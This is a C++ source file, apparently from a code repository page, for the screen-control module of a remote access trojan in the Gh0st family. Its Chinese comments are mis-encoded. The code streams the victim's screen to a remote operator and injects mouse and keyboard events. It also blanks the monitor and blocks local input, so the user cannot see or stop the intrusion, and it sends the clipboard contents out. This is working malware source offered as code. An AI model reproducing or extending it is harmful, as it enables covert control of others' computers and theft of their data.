2024-06-23 17:36:53 +08:00

471 lines
12 KiB
C++
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

// ScreenManager.cpp: implementation of the CScreenManager class.
//
//////////////////////////////////////////////////////////////////////
#include "ScreenManager.h"
//#include <winable.h> // BlockInput
#include "..\until.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CScreenManager::CScreenManager(CClientSocket *pClient):CManager(pClient)
{
m_bAlgorithm = ALGORITHM_SCAN;
m_biBitCount = 8;
m_pScreenSpy = new CScreenSpy(8);
m_bIsWorking = true;
m_bIsBlankScreen = false;
m_bIsBlockInput = false;
m_bIsCaptureLayer = false;
dwmapiDllHandle = LoadLibrary(_T("dwmapi.dll"));
m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL);
m_hBlankThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ControlThread, this, 0, NULL);
}
CScreenManager::~CScreenManager()
{
InterlockedExchange((LPLONG)&m_bIsBlankScreen, FALSE);
InterlockedExchange((LPLONG)&m_bIsWorking, FALSE);
WaitForSingleObject(m_hWorkThread, INFINITE);
WaitForSingleObject(m_hBlankThread, INFINITE);
CloseHandle(m_hWorkThread);
CloseHandle(m_hBlankThread);
if (m_pScreenSpy)
delete m_pScreenSpy;
m_pScreenSpy = NULL;
if(dwmapiDllHandle)
FreeLibrary(dwmapiDllHandle);
}
void CScreenManager::ResetScreen(int biBitCount)
{
m_bIsWorking = false;
WaitForSingleObject(m_hWorkThread, INFINITE);
CloseHandle(m_hWorkThread);
delete m_pScreenSpy;
m_pScreenSpy = NULL;
if (biBitCount == 3) // 4λ»Ò¶È
m_pScreenSpy = new CScreenSpy(4, true);
else if (biBitCount == 7) // 8λ»Ò¶È
m_pScreenSpy = new CScreenSpy(8, true);
else
m_pScreenSpy = new CScreenSpy(biBitCount);
m_pScreenSpy->setAlgorithm(m_bAlgorithm);
m_pScreenSpy->setCaptureLayer(m_bIsCaptureLayer);
m_biBitCount = biBitCount;
m_bIsWorking = true;
m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL);
}
void CScreenManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
try
{
switch (lpBuffer[0])
{
case COMMAND_NEXT:
// ֪ͨÄÚºËÔ¶³Ì¿ØÖƶ˶Ի°¿òÒÑ´ò¿ª£¬WaitForDialogOpen¿ÉÒÔ·µ»Ø
NotifyDialogIsOpen();
break;
case COMMAND_SCREEN_RESET:
ResetScreen(*(LPBYTE)&lpBuffer[1]);
break;
case COMMAND_ALGORITHM_RESET:
m_bAlgorithm = *(LPBYTE)&lpBuffer[1];
m_pScreenSpy->setAlgorithm(m_bAlgorithm);
break;
case COMMAND_SCREEN_CTRL_ALT_DEL:
::SimulateCtrlAltDel();
break;
case COMMAND_SCREEN_CONTROL:
{
// Ô¶³ÌÈÔÈ»¿ÉÒÔ²Ù×÷
BlockInput(FALSE);
ProcessCommand(lpBuffer + 1, nSize - 1);
BlockInput(m_bIsBlockInput);
}
break;
case COMMAND_SCREEN_BLOCK_INPUT: //ControlThreadÀïËø¶¨
m_bIsBlockInput = *(LPBYTE)&lpBuffer[1];
break;
case COMMAND_SCREEN_BLANK:
m_bIsBlankScreen = *(LPBYTE)&lpBuffer[1];
break;
case COMMAND_SCREEN_CAPTURE_LAYER:
m_bIsCaptureLayer = *(LPBYTE)&lpBuffer[1];
m_pScreenSpy->setCaptureLayer(m_bIsCaptureLayer);
break;
case COMMAND_SCREEN_GET_CLIPBOARD:
SendLocalClipboard();
break;
case COMMAND_SCREEN_SET_CLIPBOARD:
UpdateLocalClipboard((char *)lpBuffer + 1, nSize - 1);
break;
case COMMAND_DISABLE_AERO:
DisableAeroTheme(lpBuffer[1]);
break;
default:
break;
}
}
catch(...)
{
}
}
HRESULT CScreenManager::DisableAeroTheme(BOOL bStatus)
{
typedef HRESULT (WINAPI * DwmEnableCompositionFunction)(__in UINT uCompositionAction);
HRESULT aResult = S_OK;
if (NULL != dwmapiDllHandle ) // not on Vista/Windows7 so no aero so no need to account for aero.
{
DwmEnableCompositionFunction DwmEnableComposition;
DwmEnableComposition = (DwmEnableCompositionFunction) ::GetProcAddress(dwmapiDllHandle, "DwmEnableComposition");
if( NULL != DwmEnableComposition )
{
aResult = DwmEnableComposition(bStatus);
}
// FreeLibrary(dwmapiDllHandle);
}
return aResult;
}
void CScreenManager::sendBITMAPINFO()
{
DWORD dwBytesLength = 1 + m_pScreenSpy->getBISize();
LPBYTE lpBuffer = (LPBYTE)VirtualAlloc(NULL, dwBytesLength, MEM_COMMIT, PAGE_READWRITE);
lpBuffer[0] = TOKEN_BITMAPINFO;
memcpy(lpBuffer + 1, m_pScreenSpy->getBI(), dwBytesLength - 1);
Send(lpBuffer, dwBytesLength);
VirtualFree(lpBuffer, 0, MEM_RELEASE);
}
void CScreenManager::sendFirstScreen()
{
BOOL bRet = false;
LPVOID lpFirstScreen = NULL;
lpFirstScreen = m_pScreenSpy->getFirstScreen();
if (lpFirstScreen == NULL)
return;
DWORD dwBytesLength = 1 + m_pScreenSpy->getFirstImageSize();
LPBYTE lpBuffer = new BYTE[dwBytesLength];
if (lpBuffer == NULL)
return;
lpBuffer[0] = TOKEN_FIRSTSCREEN;
memcpy(lpBuffer + 1, lpFirstScreen, dwBytesLength - 1);
Send(lpBuffer, dwBytesLength);
delete [] lpBuffer;
}
void CScreenManager::sendNextScreen()
{
LPVOID lpNetScreen = NULL;
DWORD dwBytes;
lpNetScreen = m_pScreenSpy->getNextScreen(&dwBytes);
if (dwBytes == 0 || !lpNetScreen)
return;
DWORD dwBytesLength = 1 + dwBytes;
LPBYTE lpBuffer = new BYTE[dwBytesLength];
if (!lpBuffer)
return;
lpBuffer[0] = TOKEN_NEXTSCREEN;
memcpy(lpBuffer + 1, (const char *)lpNetScreen, dwBytes);
Send(lpBuffer, dwBytesLength);
delete [] lpBuffer;
}
DWORD WINAPI CScreenManager::WorkThread(LPVOID lparam)
{
CScreenManager *pThis = (CScreenManager *)lparam;
pThis->sendBITMAPINFO();
// µÈ¿ØÖƶ˶Ի°¿ò´ò¿ª
pThis->WaitForDialogOpen();
DWORDLONG i = 0;
pThis->sendFirstScreen();
try // ¿ØÖƶËÇ¿ÖÆ¹Ø±Õʱ»á³ö´í
{
while (pThis->m_bIsWorking)
{
pThis->sendNextScreen();
Sleep(10);
}
}catch(...){};
return 0;
}
// ´´½¨Õâ¸öÏß³ÌÖ÷ÒªÊÇΪÁ˱£³ÖÒ»Ö±ºÚÆÁ
DWORD WINAPI CScreenManager::ControlThread(LPVOID lparam)
{
static bool bIsScreenBlanked = false;
CScreenManager *pThis = (CScreenManager *)lparam;
while (pThis->IsConnect())
{
// ¼Ó¿ì·´Ó¦ËÙ¶È
// for (int i = 0; i < 100; i++)
// {
// if (pThis->IsConnect())
// {
// // ·Ö±æÂÊ´óС¸Ä±äÁË
// if (pThis->IsMetricsChange())
// pThis->ResetScreen(pThis->GetCurrentPixelBits());
// Sleep(10);
// }
// else
// break;
// }
if (pThis->m_bIsBlankScreen)
{
/* º¯Êý½âÊÍ£º
SendMessage ½ø¶ÓÏûÏ¢£¬½«ÏûÏ¢·ÅÈëÓë´´½¨´°¿ÚµÄÏß³ÌÏà¹ØÁª
µÄÏûÏ¢¶ÓÁкóÁ¢¼´·µ»Ø¡£
PostMessage ²»½ø¶ÓÏûÏ¢£¬½«ÏûÏ¢Ö±½Ó·¢Ë͸ø´°¿Ú£¬´°¿Ú¹ý³Ì
´¦ÀíÍêÏûÏ¢ºó²Å·µ»Ø¡£
WM_SYSCOMMAND ´°¿ÚÏûÏ¢_ϵͳָÁî
WM_MONITORPOWER ϵͳָÁî_ÏÔʾÆ÷µçÔ´
×îºóÒ»¸ö²ÎÊýº¬Ò壺
2 ¹Ø±ÕÏÔʾÆ÷ the display is being shut off
1 µÍµç״̬ the display is going to low power
-1 ´ò¿ªÏÔʾÆ÷ the display is powering on
HDC hdc = GetDC(0);
SelectObject(hdc,GetStockObject(BLACK_BRUSH));
while(Rectangle(hdc,0,0,2000,2000));
*/
SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 1, NULL, 0);
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2);
bIsScreenBlanked = true;
}
else if (bIsScreenBlanked)
{
SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 0, NULL, 0);
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)-1);
bIsScreenBlanked = false;
}
if (pThis->m_bIsBlockInput)
BlockInput(pThis->m_bIsBlockInput);
// ·Ö±æÂÊ´óС¸Ä±äÁË
if (pThis->IsMetricsChange())
pThis->ResetScreen(pThis->GetCurrentPixelBits());
Sleep(10);
}
BlockInput(false);
return -1;
}
#if !defined(WM_MOUSEWHEEL)
#define WM_MOUSEWHEEL 0x020A
#endif
#if !defined(GET_WHEEL_DELTA_WPARAM)
#define GET_WHEEL_DELTA_WPARAM(wParam) ((short)HIWORD(wParam))
#endif
void CScreenManager::ProcessCommand( LPBYTE lpBuffer, UINT nSize )
{
// Êý¾Ý°ü²»ºÏ·¨
if (nSize % sizeof(MSG) != 0)
return;
SwitchInputDesktop();
// ÃüÁî¸öÊý
int nCount = nSize / sizeof(MSG);
// ´¦Àí¶à¸öÃüÁî
for (int i = 0; i < nCount; i++)
{
MSG *pMsg = (MSG *)(lpBuffer + i * sizeof(MSG));
switch (pMsg->message)
{
case WM_LBUTTONDOWN:
case WM_LBUTTONUP:
case WM_RBUTTONDOWN:
case WM_RBUTTONUP:
case WM_MOUSEMOVE:
case WM_LBUTTONDBLCLK:
case WM_RBUTTONDBLCLK:
case WM_MBUTTONDOWN:
case WM_MBUTTONUP:
{
POINT point;
point.x = LOWORD(pMsg->lParam);
point.y = HIWORD(pMsg->lParam);
SetCursorPos(point.x, point.y);
SetCapture(WindowFromPoint(point));
/*
int m_nLowpowerTimeout =30*60*1000;
int m_nPoweroffTimeout =30*60*1000;
//////////////////////////////////////////²»ÖªµÀΪʲôÔÚXPÏÂʹÓÃSendInput»á½øÈëÆÁ±££¬ÓÚÊǼӸö½ûÓÃÆÁ±££¬ºÍ½ûÓõçÔ´¹ÜÀí
SystemParametersInfo(SPI_SETSCREENSAVEACTIVE, FALSE, NULL, 0);
SystemParametersInfo(SPI_GETLOWPOWERTIMEOUT, 0, &m_nLowpowerTimeout, 0);
SystemParametersInfo(SPI_GETPOWEROFFTIMEOUT, 0, &m_nPoweroffTimeout, 0);
SystemParametersInfo(SPI_SETLOWPOWERTIMEOUT, 0, NULL, 0);
SystemParametersInfo(SPI_SETPOWEROFFTIMEOUT, 0, NULL, 0);
/////////////////////////////////////////////////////////////////////////////////////
POINT point;
INPUT inp;
long g_scrx,g_scry;
g_scrx=GetSystemMetrics(SM_CXSCREEN);
g_scry=GetSystemMetrics(SM_CYSCREEN);
g_scrx=(65535/g_scrx);
g_scry=(65535/g_scry);
point.x = LOWORD(pMsg->lParam);
point.y = HIWORD(pMsg->lParam);
INPUT input;
input.type = INPUT_MOUSE;
input.mi.dx = g_scrx*point.x ;
input.mi.dy = g_scry*point.y ;
input.mi.mouseData = 0;
input.mi.dwFlags = MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE;
SendInput(1,&input,sizeof(INPUT));
*/
}
break;
default:
break;
}
switch(pMsg->message)
{
case WM_LBUTTONDOWN:
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
break;
case WM_LBUTTONUP:
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
break;
case WM_RBUTTONDOWN:
mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
break;
case WM_RBUTTONUP:
mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
break;
case WM_LBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
break;
case WM_RBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
break;
case WM_MBUTTONDOWN:
mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
break;
case WM_MBUTTONUP:
mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
break;
case WM_MOUSEWHEEL:
mouse_event(MOUSEEVENTF_WHEEL, 0, 0, GET_WHEEL_DELTA_WPARAM(pMsg->wParam), 0);
break;
case WM_KEYDOWN:
case WM_SYSKEYDOWN:
keybd_event(pMsg->wParam, MapVirtualKey(pMsg->wParam, 0), 0, 0);
break;
case WM_KEYUP:
case WM_SYSKEYUP:
keybd_event(pMsg->wParam, MapVirtualKey(pMsg->wParam, 0), KEYEVENTF_KEYUP, 0);
break;
default:
break;
}
}
}
void CScreenManager::UpdateLocalClipboard( char *buf, int len )
{
if (!::OpenClipboard(NULL))
return;
::EmptyClipboard();
HGLOBAL hglbCopy = GlobalAlloc(GMEM_DDESHARE, len);
if (hglbCopy != NULL)
{
// Lock the handle and copy the text to the buffer.
LPTSTR lptstrCopy = (LPTSTR) GlobalLock(hglbCopy);
memcpy(lptstrCopy, buf, len);
GlobalUnlock(hglbCopy); // Place the handle on the clipboard.
SetClipboardData(CF_TEXT, hglbCopy);
GlobalFree(hglbCopy);
}
CloseClipboard();
}
void CScreenManager::SendLocalClipboard()
{
if (!::OpenClipboard(NULL))
return;
HGLOBAL hglb = GetClipboardData(CF_TEXT);
if (hglb == NULL)
{
::CloseClipboard();
return;
}
int nPacketLen = GlobalSize(hglb) + 1;
LPSTR lpstr = (LPSTR) GlobalLock(hglb);
LPBYTE lpData = new BYTE[nPacketLen];
lpData[0] = TOKEN_CLIPBOARD_TEXT;
memcpy(lpData + 1, lpstr, nPacketLen - 1);
::GlobalUnlock(hglb);
::CloseClipboard();
Send(lpData, nPacketLen);
delete[] lpData;
}
// ÆÁÄ»·Ö±æÂÊÊÇ·ñ·¢Éú¸Ä±ä
bool CScreenManager::IsMetricsChange()
{
if (m_pScreenSpy == NULL)
{
return false;
}
LPBITMAPINFO lpbmi = m_pScreenSpy->getBI();
return (lpbmi->bmiHeader.biWidth != ::GetSystemMetrics(SM_CXSCREEN)) ||
(lpbmi->bmiHeader.biHeight != ::GetSystemMetrics(SM_CYSCREEN));
}
BOOL CScreenManager::IsConnect()
{
return m_pClient->IsRunning();
}
int CScreenManager::GetCurrentPixelBits()
{
return m_biBitCount;
}